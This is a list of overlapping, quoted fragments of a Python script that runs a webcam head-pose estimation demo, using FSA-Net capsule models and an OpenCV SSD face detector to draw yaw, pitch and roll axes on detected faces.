"model3 = FSA_net_noS_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() weight_file1 = '../pre-trained/300W_LP_models/fsanet_capsule_3_16_2_21_5/fsanet_capsule_3_16_2_21_5.h5'",
"drawn in red x1 = size * (cos(yaw) * cos(roll))",
"roll * np.pi / 180 if tdx != None and",
"0.5: # compute the (x, y)-coordinates of the bounding box",
"startY, endX, endY)) x1 = startX y1 = startY w",
"1) yw2 = min(int(y2 + ad * h), img_h -",
"\"deploy.prototxt\"]) modelPath = os.path.sep.join([\"face_detector\", \"res10_300x300_ssd_iter_140000.caffemodel\"]) net = cv2.dnn.readNetFromCaffe(protoPath, modelPath) #",
"os.path.sep.join([\"face_detector\", \"res10_300x300_ssd_iter_140000.caffemodel\"]) net = cv2.dnn.readNetFromCaffe(protoPath, modelPath) # capture video cap",
"= cv2.resize(input_img[yw1:yw2 + 1, xw1:xw2 + 1, :], (img_size, img_size))",
"modelPath) # capture video cap = cv2.VideoCapture(0) # cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1024*1)",
"= size * (-cos(yaw) * sin(roll)) + tdx y2 =",
"h), 0) xw2 = min(int(x2 + ad * w), img_w",
"# capture video cap = cv2.VideoCapture(0) # cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1024*1) #",
"tdy = tdy else: height, width = img.shape[:2] tdx =",
"size = 50): print(yaw,roll,pitch) pitch = pitch * np.pi /",
"p_result[0][1], p_result[0][2]) input_img[yw1:yw2 + 1, xw1:xw2 + 1, :] =",
"import numpy as np from math import cos, sin from",
"0) xw2 = min(int(x2 + ad * w), img_w -",
"import sys sys.path.append('..') import numpy as np from math import",
"cv2.imwrite('img/'+str(img_idx)+'.png',input_img) cv2.imshow(\"result\", input_img) key = cv2.waitKey(1) if __name__ == '__main__':",
"from keras.layers import Average def draw_axis(img, yaw, pitch, roll, tdx=None,",
"= 2 stage_num = [3,3,3] lambda_d = 1 num_classes =",
"= box.astype(\"int\") # print((startX, startY, endX, endY)) x1 = startX",
"h0]) (startX, startY, endX, endY) = box.astype(\"int\") # print((startX, startY,",
"= endY - startY x2 = x1+w y2 = y1+h",
"start=time.time() faces[i,:,:,:] = cv2.resize(input_img[yw1:yw2 + 1, xw1:xw2 + 1, :],",
"= startY w = endX - startX h = endY",
"num_primcaps, m_dim] model3 = FSA_net_noS_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() weight_file1",
"loading face detector...\") protoPath = os.path.sep.join([\"face_detector\", \"deploy.prototxt\"]) modelPath = os.path.sep.join([\"face_detector\",",
"int(tdy)), (int(x2),int(y2)),(0,255,0),3) cv2.line(img, (int(tdx), int(tdy)), (int(x3),int(y3)),(255,0,0),2) return img def draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model):",
"* np.pi / 180) roll = roll * np.pi /",
"* sin(roll)) + tdx y2 = size * (cos(pitch) *",
"= max(int(x1 - ad * w), 0) yw1 = max(int(y1",
"= cv2.dnn.blobFromImage(cv2.resize(input_img, (300, 300)), 1.0, (300, 300), (104.0, 177.0, 123.0))",
"x2 = x1+w y2 = y1+h xw1 = max(int(x1 -",
"keras.layers import Average def draw_axis(img, yaw, pitch, roll, tdx=None, tdy=None,",
"img_h - 1) cv2.rectangle(input_img, (xw1,yw1), (xw2,yw2), (0, 0, 255), 2)",
"np.array([w0, h0, w0, h0]) (startX, startY, endX, endY) = box.astype(\"int\")",
"img_h, img_w, _ = np.shape(input_img) blob = cv2.dnn.blobFromImage(cv2.resize(input_img, (300, 300)),",
"+ 1, :], (img_size, img_size)) faces[i,:,:,:] = cv2.normalize(faces[i,:,:,:], None, alpha=0,",
"!= None and tdy != None: tdx = tdx tdy",
"* sin(yaw) * sin(roll)) + tdy # Z-Axis (out of",
"max(int(x1 - ad * w), 0) yw1 = max(int(y1 -",
"sin(roll)) + tdx y2 = size * (cos(pitch) * cos(roll)",
"the detections if detected.shape[2]>0: for i in range(0, detected.shape[2]): #",
"ad * h), img_h - 1) cv2.rectangle(input_img, (xw1,yw1), (xw2,yw2), (0,",
"i in range(0, detected.shape[2]): # extract the confidence (i.e., probability)",
"ROI (h0, w0) = input_img.shape[:2] box = detected[0, 0, i,",
"/ 2 tdy = height / 2 # X-Axis pointing",
"compute the (x, y)-coordinates of the bounding box for #",
"* w), 0) yw1 = max(int(y1 - ad * h),",
"endX, endY)) x1 = startX y1 = startY w =",
"xw1:xw2 + 1, :] = img return input_img def main():",
"= [num_capsule, dim_capsule, routings, num_primcaps, m_dim] model1 = FSA_net_Capsule(image_size, num_classes,",
"1) cv2.rectangle(input_img, (xw1,yw1), (xw2,yw2), (0, 0, 255), 2) start=time.time() faces[i,:,:,:]",
"1, xw1:xw2 + 1, :], p_result[0][0], p_result[0][1], p_result[0][2]) input_img[yw1:yw2 +",
"model1.load_weights(weight_file1) print('Finished loading model 1.') weight_file2 = '../pre-trained/300W_LP_models/fsanet_var_capsule_3_16_2_21_5/fsanet_var_capsule_3_16_2_21_5.h5' weight_file3 =",
"height, width = img.shape[:2] tdx = width / 2 tdy",
"def draw_axis(img, yaw, pitch, roll, tdx=None, tdy=None, size = 50):",
"Y-Axis | drawn in green # v x2 = size",
"x1 = startX y1 = startY w = endX -",
"num_capsule = 3 dim_capsule = 16 routings = 2 stage_num",
"S_set)() num_primcaps = 8*8*3 S_set = [num_capsule, dim_capsule, routings, num_primcaps,",
"= face.squeeze() img = draw_axis(input_img[yw1:yw2 + 1, xw1:xw2 + 1,",
"math import cos, sin from lib.FSANET_model import * import numpy",
"int(tdy)), (int(x1),int(y1)),(0,0,255),3) cv2.line(img, (int(tdx), int(tdy)), (int(x2),int(y2)),(0,255,0),3) cv2.line(img, (int(tdx), int(tdy)), (int(x3),int(y3)),(255,0,0),2)",
"norm_type=cv2.NORM_MINMAX) face = np.expand_dims(faces[i,:,:,:], axis=0) p_result = model.predict(face) print('fangxiang',time.time()-start) face",
"Z-Axis (out of the screen) drawn in blue x3 =",
"time import cv2 import sys sys.path.append('..') import numpy as np",
"startY, endX, endY) = box.astype(\"int\") # print((startX, startY, endX, endY))",
"roll = roll * np.pi / 180 if tdx !=",
"FSA_net_Var_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() num_primcaps = 8*8*3 S_set =",
"(xw2,yw2), (0, 0, 255), 2) start=time.time() faces[i,:,:,:] = cv2.resize(input_img[yw1:yw2 +",
"= FSA_net_Var_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() num_primcaps = 8*8*3 S_set",
"p_result = model.predict(face) print('fangxiang',time.time()-start) face = face.squeeze() img = draw_axis(input_img[yw1:yw2",
"= cv2.normalize(faces[i,:,:,:], None, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX) face = np.expand_dims(faces[i,:,:,:], axis=0)",
"yw1 = max(int(y1 - ad * h), 0) xw2 =",
"the face and extract the face ROI (h0, w0) =",
"= img_idx + 1 img_h, img_w, _ = np.shape(input_img) blob",
"+ tdy # Z-Axis (out of the screen) drawn in",
"img_idx = 0 ad = 0.6 #Parameters num_capsule = 3",
"num_classes, stage_num, lambda_d, S_set)() model2 = FSA_net_Var_Capsule(image_size, num_classes, stage_num, lambda_d,",
"weight_file1 = '../pre-trained/300W_LP_models/fsanet_capsule_3_16_2_21_5/fsanet_capsule_3_16_2_21_5.h5' model1.load_weights(weight_file1) print('Finished loading model 1.') weight_file2 =",
"* sin(pitch) * sin(yaw)) + tdy # Y-Axis | drawn",
"* h), 0) xw2 = min(int(x2 + ad * w),",
"import Average def draw_axis(img, yaw, pitch, roll, tdx=None, tdy=None, size",
"np.shape(input_img) blob = cv2.dnn.blobFromImage(cv2.resize(input_img, (300, 300)), 1.0, (300, 300), (104.0,",
"print('Finished loading model 3.') inputs = Input(shape=(64,64,3)) x1 = model1(inputs)",
"3 image_size = 64 num_primcaps = 7*3 m_dim = 5",
"= net.forward() faces = np.empty((detected.shape[2], img_size, img_size, 3)) input_img =",
"= pitch * np.pi / 180 yaw = -(yaw *",
"ad * w), img_w - 1) yw2 = min(int(y2 +",
"* sin(roll)) + tdy # Z-Axis (out of the screen)",
"7*3 m_dim = 5 S_set = [num_capsule, dim_capsule, routings, num_primcaps,",
"num_classes, stage_num, lambda_d, S_set)() num_primcaps = 8*8*3 S_set = [num_capsule,",
"= np.empty((detected.shape[2], img_size, img_size, 3)) input_img = draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model) # cv2.imwrite('img/'+str(img_idx)+'.png',input_img)",
"w), img_w - 1) yw2 = min(int(y2 + ad *",
"2 # X-Axis pointing to right. drawn in red x1",
"(i.e., probability) associated with the # prediction confidence = detected[0,",
"tdx=None, tdy=None, size = 50): print(yaw,roll,pitch) pitch = pitch *",
"detected[0, 0, i, 3:7] * np.array([w0, h0, w0, h0]) (startX,",
"(int(x2),int(y2)),(0,255,0),3) cv2.line(img, (int(tdx), int(tdy)), (int(x3),int(y3)),(255,0,0),2) return img def draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model): #",
"= min(int(x2 + ad * w), img_w - 1) yw2",
"* sin(pitch)) + tdy cv2.line(img, (int(tdx), int(tdy)), (int(x1),int(y1)),(0,0,255),3) cv2.line(img, (int(tdx),",
"#w/o avg_model = Average()([x1,x2,x3]) model = Model(inputs=inputs, outputs=avg_model) # load",
"y1 = startY w = endX - startX h =",
"to right. drawn in red x1 = size * (cos(yaw)",
"# load our serialized face detector from disk print(\"[INFO] loading",
"None: tdx = tdx tdy = tdy else: height, width",
"detected.shape[2]): # extract the confidence (i.e., probability) associated with the",
"w0, h0]) (startX, startY, endX, endY) = box.astype(\"int\") # print((startX,",
"x1 = size * (cos(yaw) * cos(roll)) + tdx y1",
"sin(pitch) * sin(yaw)) + tdy # Y-Axis | drawn in",
"box = detected[0, 0, i, 3:7] * np.array([w0, h0, w0,",
"- 1) cv2.rectangle(input_img, (xw1,yw1), (xw2,yw2), (0, 0, 255), 2) start=time.time()",
"numpy as np from math import cos, sin from lib.FSANET_model",
"= startX y1 = startY w = endX - startX",
"= 64 num_primcaps = 7*3 m_dim = 5 S_set =",
"/ 2 # X-Axis pointing to right. drawn in red",
"+ 1, xw1:xw2 + 1, :] = img return input_img",
"weak detections if confidence > 0.5: # compute the (x,",
"input_img.shape[:2] box = detected[0, 0, i, 3:7] * np.array([w0, h0,",
"print((startX, startY, endX, endY)) x1 = startX y1 = startY",
"import time import cv2 import sys sys.path.append('..') import numpy as",
"tdx y3 = size * (-cos(yaw) * sin(pitch)) + tdy",
"+ tdx y1 = size * (cos(pitch) * sin(roll) +",
"tdx y2 = size * (cos(pitch) * cos(roll) - sin(pitch)",
"# loop over the detections if detected.shape[2]>0: for i in",
"print(\"[INFO] loading face detector...\") protoPath = os.path.sep.join([\"face_detector\", \"deploy.prototxt\"]) modelPath =",
"= endX - startX h = endY - startY x2",
"- 1) yw2 = min(int(y2 + ad * h), img_h",
"capture video cap = cv2.VideoCapture(0) # cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1024*1) # cap.set(cv2.CAP_PROP_FRAME_HEIGHT,",
"else: height, width = img.shape[:2] tdx = width / 2",
"- startY x2 = x1+w y2 = y1+h xw1 =",
"= [3,3,3] lambda_d = 1 num_classes = 3 image_size =",
"1 img_h, img_w, _ = np.shape(input_img) blob = cv2.dnn.blobFromImage(cv2.resize(input_img, (300,",
"draw_axis(input_img[yw1:yw2 + 1, xw1:xw2 + 1, :], p_result[0][0], p_result[0][1], p_result[0][2])",
"w = endX - startX h = endY - startY",
"confidence = detected[0, 0, i, 2] # filter out weak",
"# Z-Axis (out of the screen) drawn in blue x3",
"right. drawn in red x1 = size * (cos(yaw) *",
"import * import numpy as np from keras.layers import Average",
"tdy # Z-Axis (out of the screen) drawn in blue",
"stage_num, lambda_d, S_set)() num_primcaps = 8*8*3 S_set = [num_capsule, dim_capsule,",
"/ 180 yaw = -(yaw * np.pi / 180) roll",
"cv2.normalize(faces[i,:,:,:], None, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX) face = np.expand_dims(faces[i,:,:,:], axis=0) p_result",
"lambda_d, S_set)() weight_file1 = '../pre-trained/300W_LP_models/fsanet_capsule_3_16_2_21_5/fsanet_capsule_3_16_2_21_5.h5' model1.load_weights(weight_file1) print('Finished loading model 1.')",
"blue x3 = size * (sin(yaw)) + tdx y3 =",
"x1 = model1(inputs) #1x1 x2 = model2(inputs) #var x3 =",
"0.6 #Parameters num_capsule = 3 dim_capsule = 16 routings =",
"img_size = 64 img_idx = 0 ad = 0.6 #Parameters",
"+ cos(roll) * sin(pitch) * sin(yaw)) + tdy # Y-Axis",
"v x2 = size * (-cos(yaw) * sin(roll)) + tdx",
"endX - startX h = endY - startY x2 =",
":], (img_size, img_size)) faces[i,:,:,:] = cv2.normalize(faces[i,:,:,:], None, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX)",
"axis=0) p_result = model.predict(face) print('fangxiang',time.time()-start) face = face.squeeze() img =",
"FSA_net_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() model2 = FSA_net_Var_Capsule(image_size, num_classes, stage_num,",
"in range(0, detected.shape[2]): # extract the confidence (i.e., probability) associated",
"the face ROI (h0, w0) = input_img.shape[:2] box = detected[0,",
"m_dim] model3 = FSA_net_noS_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() weight_file1 =",
"get video frame ret, input_img = cap.read() img_idx = img_idx",
"in red x1 = size * (cos(yaw) * cos(roll)) +",
"if tdx != None and tdy != None: tdx =",
"y3 = size * (-cos(yaw) * sin(pitch)) + tdy cv2.line(img,",
"lambda_d, S_set)() model2 = FSA_net_Var_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() num_primcaps",
"h = endY - startY x2 = x1+w y2 =",
"tdy # Y-Axis | drawn in green # v x2",
"the screen) drawn in blue x3 = size * (sin(yaw))",
"def draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model): # loop over the detections if detected.shape[2]>0: for",
"print('Finished loading model 2.') model3.load_weights(weight_file3) print('Finished loading model 3.') inputs",
"3.') inputs = Input(shape=(64,64,3)) x1 = model1(inputs) #1x1 x2 =",
"loading model 1.') weight_file2 = '../pre-trained/300W_LP_models/fsanet_var_capsule_3_16_2_21_5/fsanet_var_capsule_3_16_2_21_5.h5' weight_file3 = '../pre-trained/300W_LP_models/fsanet_noS_capsule_3_16_2_192_5/fsanet_noS_capsule_3_16_2_192_5.h5' model2.load_weights(weight_file2)",
"from lib.FSANET_model import * import numpy as np from keras.layers",
"the (x, y)-coordinates of the bounding box for # the",
"2 stage_num = [3,3,3] lambda_d = 1 num_classes = 3",
"* np.array([w0, h0, w0, h0]) (startX, startY, endX, endY) =",
"* (-cos(yaw) * sin(pitch)) + tdy cv2.line(img, (int(tdx), int(tdy)), (int(x1),int(y1)),(0,0,255),3)",
"2) start=time.time() faces[i,:,:,:] = cv2.resize(input_img[yw1:yw2 + 1, xw1:xw2 + 1,",
"255), 2) start=time.time() faces[i,:,:,:] = cv2.resize(input_img[yw1:yw2 + 1, xw1:xw2 +",
"size * (cos(pitch) * sin(roll) + cos(roll) * sin(pitch) *",
"[num_capsule, dim_capsule, routings, num_primcaps, m_dim] model3 = FSA_net_noS_Capsule(image_size, num_classes, stage_num,",
"= 1 num_classes = 3 image_size = 64 num_primcaps =",
"= os.path.sep.join([\"face_detector\", \"deploy.prototxt\"]) modelPath = os.path.sep.join([\"face_detector\", \"res10_300x300_ssd_iter_140000.caffemodel\"]) net = cv2.dnn.readNetFromCaffe(protoPath,",
"-(yaw * np.pi / 180) roll = roll * np.pi",
"size * (-cos(yaw) * sin(roll)) + tdx y2 = size",
"size * (cos(pitch) * cos(roll) - sin(pitch) * sin(yaw) *",
"img = draw_axis(input_img[yw1:yw2 + 1, xw1:xw2 + 1, :], p_result[0][0],",
"img_w, _ = np.shape(input_img) blob = cv2.dnn.blobFromImage(cv2.resize(input_img, (300, 300)), 1.0,",
"300)), 1.0, (300, 300), (104.0, 177.0, 123.0)) net.setInput(blob) detected =",
"cv2.resize(input_img[yw1:yw2 + 1, xw1:xw2 + 1, :], (img_size, img_size)) faces[i,:,:,:]",
"def main(): os.makedirs('./img',exist_ok=True) img_size = 64 img_idx = 0 ad",
"loop over the detections if detected.shape[2]>0: for i in range(0,",
"num_primcaps = 8*8*3 S_set = [num_capsule, dim_capsule, routings, num_primcaps, m_dim]",
"range(0, detected.shape[2]): # extract the confidence (i.e., probability) associated with",
"as np from keras.layers import Average def draw_axis(img, yaw, pitch,",
"'../pre-trained/300W_LP_models/fsanet_var_capsule_3_16_2_21_5/fsanet_var_capsule_3_16_2_21_5.h5' weight_file3 = '../pre-trained/300W_LP_models/fsanet_noS_capsule_3_16_2_192_5/fsanet_noS_capsule_3_16_2_192_5.h5' model2.load_weights(weight_file2) print('Finished loading model 2.') model3.load_weights(weight_file3)",
"pitch = pitch * np.pi / 180 yaw = -(yaw",
"xw1:xw2 + 1, :], p_result[0][0], p_result[0][1], p_result[0][2]) input_img[yw1:yw2 + 1,",
"the # prediction confidence = detected[0, 0, i, 2] #",
"net.forward() faces = np.empty((detected.shape[2], img_size, img_size, 3)) input_img = draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model)",
"height / 2 # X-Axis pointing to right. drawn in",
"* h), img_h - 1) cv2.rectangle(input_img, (xw1,yw1), (xw2,yw2), (0, 0,",
"endY)) x1 = startX y1 = startY w = endX",
"confidence (i.e., probability) associated with the # prediction confidence =",
"ret, input_img = cap.read() img_idx = img_idx + 1 img_h,",
"= 50): print(yaw,roll,pitch) pitch = pitch * np.pi / 180",
"# compute the (x, y)-coordinates of the bounding box for",
"img_size, img_size, 3)) input_img = draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model) # cv2.imwrite('img/'+str(img_idx)+'.png',input_img) cv2.imshow(\"result\", input_img)",
"tdx != None and tdy != None: tdx = tdx",
"(-cos(yaw) * sin(pitch)) + tdy cv2.line(img, (int(tdx), int(tdy)), (int(x1),int(y1)),(0,0,255),3) cv2.line(img,",
"# prediction confidence = detected[0, 0, i, 2] # filter",
"= Input(shape=(64,64,3)) x1 = model1(inputs) #1x1 x2 = model2(inputs) #var",
"img_size, 3)) input_img = draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model) # cv2.imwrite('img/'+str(img_idx)+'.png',input_img) cv2.imshow(\"result\", input_img) key",
"180 if tdx != None and tdy != None: tdx",
"* np.pi / 180 if tdx != None and tdy",
"inputs = Input(shape=(64,64,3)) x1 = model1(inputs) #1x1 x2 = model2(inputs)",
"8*8*3 S_set = [num_capsule, dim_capsule, routings, num_primcaps, m_dim] model3 =",
"(-cos(yaw) * sin(roll)) + tdx y2 = size * (cos(pitch)",
"routings = 2 stage_num = [3,3,3] lambda_d = 1 num_classes",
"# Y-Axis | drawn in green # v x2 =",
"FSA_net_noS_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() weight_file1 = '../pre-trained/300W_LP_models/fsanet_capsule_3_16_2_21_5/fsanet_capsule_3_16_2_21_5.h5' model1.load_weights(weight_file1) print('Finished",
"dim_capsule = 16 routings = 2 stage_num = [3,3,3] lambda_d",
"2 tdy = height / 2 # X-Axis pointing to",
"* (-cos(yaw) * sin(roll)) + tdx y2 = size *",
"os.makedirs('./img',exist_ok=True) img_size = 64 img_idx = 0 ad = 0.6",
"tdy=None, size = 50): print(yaw,roll,pitch) pitch = pitch * np.pi",
"xw2 = min(int(x2 + ad * w), img_w - 1)",
"= model.predict(face) print('fangxiang',time.time()-start) face = face.squeeze() img = draw_axis(input_img[yw1:yw2 +",
"return input_img def main(): os.makedirs('./img',exist_ok=True) img_size = 64 img_idx =",
"= 7*3 m_dim = 5 S_set = [num_capsule, dim_capsule, routings,",
"#1x1 x2 = model2(inputs) #var x3 = model3(inputs) #w/o avg_model",
"img_idx = img_idx + 1 img_h, img_w, _ = np.shape(input_img)",
"lambda_d, S_set)() num_primcaps = 8*8*3 S_set = [num_capsule, dim_capsule, routings,",
"= tdy else: height, width = img.shape[:2] tdx = width",
"sin(yaw) * sin(roll)) + tdy # Z-Axis (out of the",
"+ tdx y2 = size * (cos(pitch) * cos(roll) -",
"# cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 768*1) while True: # get video frame ret,",
"pointing to right. drawn in red x1 = size *",
"+ 1, xw1:xw2 + 1, :], p_result[0][0], p_result[0][1], p_result[0][2]) input_img[yw1:yw2",
"y2 = y1+h xw1 = max(int(x1 - ad * w),",
"green # v x2 = size * (-cos(yaw) * sin(roll))",
"Input(shape=(64,64,3)) x1 = model1(inputs) #1x1 x2 = model2(inputs) #var x3",
"routings, num_primcaps, m_dim] model1 = FSA_net_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)()",
"# X-Axis pointing to right. drawn in red x1 =",
"cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1024*1) # cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 768*1) while True: # get video",
"1, :], (img_size, img_size)) faces[i,:,:,:] = cv2.normalize(faces[i,:,:,:], None, alpha=0, beta=255,",
"= roll * np.pi / 180 if tdx != None",
"print('Finished loading model 1.') weight_file2 = '../pre-trained/300W_LP_models/fsanet_var_capsule_3_16_2_21_5/fsanet_var_capsule_3_16_2_21_5.h5' weight_file3 = '../pre-trained/300W_LP_models/fsanet_noS_capsule_3_16_2_192_5/fsanet_noS_capsule_3_16_2_192_5.h5'",
"1, :], p_result[0][0], p_result[0][1], p_result[0][2]) input_img[yw1:yw2 + 1, xw1:xw2 +",
"(int(tdx), int(tdy)), (int(x1),int(y1)),(0,0,255),3) cv2.line(img, (int(tdx), int(tdy)), (int(x2),int(y2)),(0,255,0),3) cv2.line(img, (int(tdx), int(tdy)),",
"draw_axis(img, yaw, pitch, roll, tdx=None, tdy=None, size = 50): print(yaw,roll,pitch)",
"y1+h xw1 = max(int(x1 - ad * w), 0) yw1",
"True: # get video frame ret, input_img = cap.read() img_idx",
"= 0.6 #Parameters num_capsule = 3 dim_capsule = 16 routings",
"+ tdx y3 = size * (-cos(yaw) * sin(pitch)) +",
"xw1:xw2 + 1, :], (img_size, img_size)) faces[i,:,:,:] = cv2.normalize(faces[i,:,:,:], None,",
"1, xw1:xw2 + 1, :] = img return input_img def",
"img_idx + 1 img_h, img_w, _ = np.shape(input_img) blob =",
"= np.expand_dims(faces[i,:,:,:], axis=0) p_result = model.predict(face) print('fangxiang',time.time()-start) face = face.squeeze()",
"in green # v x2 = size * (-cos(yaw) *",
"h), img_h - 1) cv2.rectangle(input_img, (xw1,yw1), (xw2,yw2), (0, 0, 255),",
"(out of the screen) drawn in blue x3 = size",
"= x1+w y2 = y1+h xw1 = max(int(x1 - ad",
"= model2(inputs) #var x3 = model3(inputs) #w/o avg_model = Average()([x1,x2,x3])",
"i, 3:7] * np.array([w0, h0, w0, h0]) (startX, startY, endX,",
"S_set)() weight_file1 = '../pre-trained/300W_LP_models/fsanet_capsule_3_16_2_21_5/fsanet_capsule_3_16_2_21_5.h5' model1.load_weights(weight_file1) print('Finished loading model 1.') weight_file2",
"as np from math import cos, sin from lib.FSANET_model import",
"width / 2 tdy = height / 2 # X-Axis",
"180 yaw = -(yaw * np.pi / 180) roll =",
"startY x2 = x1+w y2 = y1+h xw1 = max(int(x1",
"red x1 = size * (cos(yaw) * cos(roll)) + tdx",
"# the face and extract the face ROI (h0, w0)",
"video cap = cv2.VideoCapture(0) # cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1024*1) # cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 768*1)",
"177.0, 123.0)) net.setInput(blob) detected = net.forward() faces = np.empty((detected.shape[2], img_size,",
"1.0, (300, 300), (104.0, 177.0, 123.0)) net.setInput(blob) detected = net.forward()",
"detector from disk print(\"[INFO] loading face detector...\") protoPath = os.path.sep.join([\"face_detector\",",
"1, :] = img return input_img def main(): os.makedirs('./img',exist_ok=True) img_size",
"x3 = model3(inputs) #w/o avg_model = Average()([x1,x2,x3]) model = Model(inputs=inputs,",
"Model(inputs=inputs, outputs=avg_model) # load our serialized face detector from disk",
"+ tdy cv2.line(img, (int(tdx), int(tdy)), (int(x1),int(y1)),(0,0,255),3) cv2.line(img, (int(tdx), int(tdy)), (int(x2),int(y2)),(0,255,0),3)",
"min(int(x2 + ad * w), img_w - 1) yw2 =",
"box for # the face and extract the face ROI",
"# print((startX, startY, endX, endY)) x1 = startX y1 =",
"2.') model3.load_weights(weight_file3) print('Finished loading model 3.') inputs = Input(shape=(64,64,3)) x1",
"img return input_img def main(): os.makedirs('./img',exist_ok=True) img_size = 64 img_idx",
"np.expand_dims(faces[i,:,:,:], axis=0) p_result = model.predict(face) print('fangxiang',time.time()-start) face = face.squeeze() img",
"= img.shape[:2] tdx = width / 2 tdy = height",
"= height / 2 # X-Axis pointing to right. drawn",
"64 img_idx = 0 ad = 0.6 #Parameters num_capsule =",
"sin(pitch) * sin(yaw) * sin(roll)) + tdy # Z-Axis (out",
"cap = cv2.VideoCapture(0) # cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1024*1) # cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 768*1) while",
"os import time import cv2 import sys sys.path.append('..') import numpy",
"model1 = FSA_net_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() model2 = FSA_net_Var_Capsule(image_size,",
"None, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX) face = np.expand_dims(faces[i,:,:,:], axis=0) p_result =",
"1, xw1:xw2 + 1, :], (img_size, img_size)) faces[i,:,:,:] = cv2.normalize(faces[i,:,:,:],",
"(startX, startY, endX, endY) = box.astype(\"int\") # print((startX, startY, endX,",
"from math import cos, sin from lib.FSANET_model import * import",
"alpha=0, beta=255, norm_type=cv2.NORM_MINMAX) face = np.expand_dims(faces[i,:,:,:], axis=0) p_result = model.predict(face)",
"= np.shape(input_img) blob = cv2.dnn.blobFromImage(cv2.resize(input_img, (300, 300)), 1.0, (300, 300),",
"dim_capsule, routings, num_primcaps, m_dim] model1 = FSA_net_Capsule(image_size, num_classes, stage_num, lambda_d,",
"out weak detections if confidence > 0.5: # compute the",
"- ad * h), 0) xw2 = min(int(x2 + ad",
"protoPath = os.path.sep.join([\"face_detector\", \"deploy.prototxt\"]) modelPath = os.path.sep.join([\"face_detector\", \"res10_300x300_ssd_iter_140000.caffemodel\"]) net =",
"and extract the face ROI (h0, w0) = input_img.shape[:2] box",
"Average def draw_axis(img, yaw, pitch, roll, tdx=None, tdy=None, size =",
"cv2.rectangle(input_img, (xw1,yw1), (xw2,yw2), (0, 0, 255), 2) start=time.time() faces[i,:,:,:] =",
"draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model) # cv2.imwrite('img/'+str(img_idx)+'.png',input_img) cv2.imshow(\"result\", input_img) key = cv2.waitKey(1) if __name__",
"img.shape[:2] tdx = width / 2 tdy = height /",
"modelPath = os.path.sep.join([\"face_detector\", \"res10_300x300_ssd_iter_140000.caffemodel\"]) net = cv2.dnn.readNetFromCaffe(protoPath, modelPath) # capture",
"tdx = tdx tdy = tdy else: height, width =",
"= detected[0, 0, i, 3:7] * np.array([w0, h0, w0, h0])",
"min(int(y2 + ad * h), img_h - 1) cv2.rectangle(input_img, (xw1,yw1),",
"with the # prediction confidence = detected[0, 0, i, 2]",
"endY - startY x2 = x1+w y2 = y1+h xw1",
"startY w = endX - startX h = endY -",
"(300, 300)), 1.0, (300, 300), (104.0, 177.0, 123.0)) net.setInput(blob) detected",
"cv2.line(img, (int(tdx), int(tdy)), (int(x3),int(y3)),(255,0,0),2) return img def draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model): # loop",
"(h0, w0) = input_img.shape[:2] box = detected[0, 0, i, 3:7]",
"= Average()([x1,x2,x3]) model = Model(inputs=inputs, outputs=avg_model) # load our serialized",
"num_classes = 3 image_size = 64 num_primcaps = 7*3 m_dim",
"input_img = draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model) # cv2.imwrite('img/'+str(img_idx)+'.png',input_img) cv2.imshow(\"result\", input_img) key = cv2.waitKey(1)",
"if detected.shape[2]>0: for i in range(0, detected.shape[2]): # extract the",
"face = np.expand_dims(faces[i,:,:,:], axis=0) p_result = model.predict(face) print('fangxiang',time.time()-start) face =",
"= 0 ad = 0.6 #Parameters num_capsule = 3 dim_capsule",
"sin(roll) + cos(roll) * sin(pitch) * sin(yaw)) + tdy #",
"model2(inputs) #var x3 = model3(inputs) #w/o avg_model = Average()([x1,x2,x3]) model",
"> 0.5: # compute the (x, y)-coordinates of the bounding",
"* (cos(pitch) * cos(roll) - sin(pitch) * sin(yaw) * sin(roll))",
":], p_result[0][0], p_result[0][1], p_result[0][2]) input_img[yw1:yw2 + 1, xw1:xw2 + 1,",
"load our serialized face detector from disk print(\"[INFO] loading face",
"detector...\") protoPath = os.path.sep.join([\"face_detector\", \"deploy.prototxt\"]) modelPath = os.path.sep.join([\"face_detector\", \"res10_300x300_ssd_iter_140000.caffemodel\"]) net",
"= '../pre-trained/300W_LP_models/fsanet_capsule_3_16_2_21_5/fsanet_capsule_3_16_2_21_5.h5' model1.load_weights(weight_file1) print('Finished loading model 1.') weight_file2 = '../pre-trained/300W_LP_models/fsanet_var_capsule_3_16_2_21_5/fsanet_var_capsule_3_16_2_21_5.h5'",
"from disk print(\"[INFO] loading face detector...\") protoPath = os.path.sep.join([\"face_detector\", \"deploy.prototxt\"])",
"= cap.read() img_idx = img_idx + 1 img_h, img_w, _",
"size * (-cos(yaw) * sin(pitch)) + tdy cv2.line(img, (int(tdx), int(tdy)),",
"(104.0, 177.0, 123.0)) net.setInput(blob) detected = net.forward() faces = np.empty((detected.shape[2],",
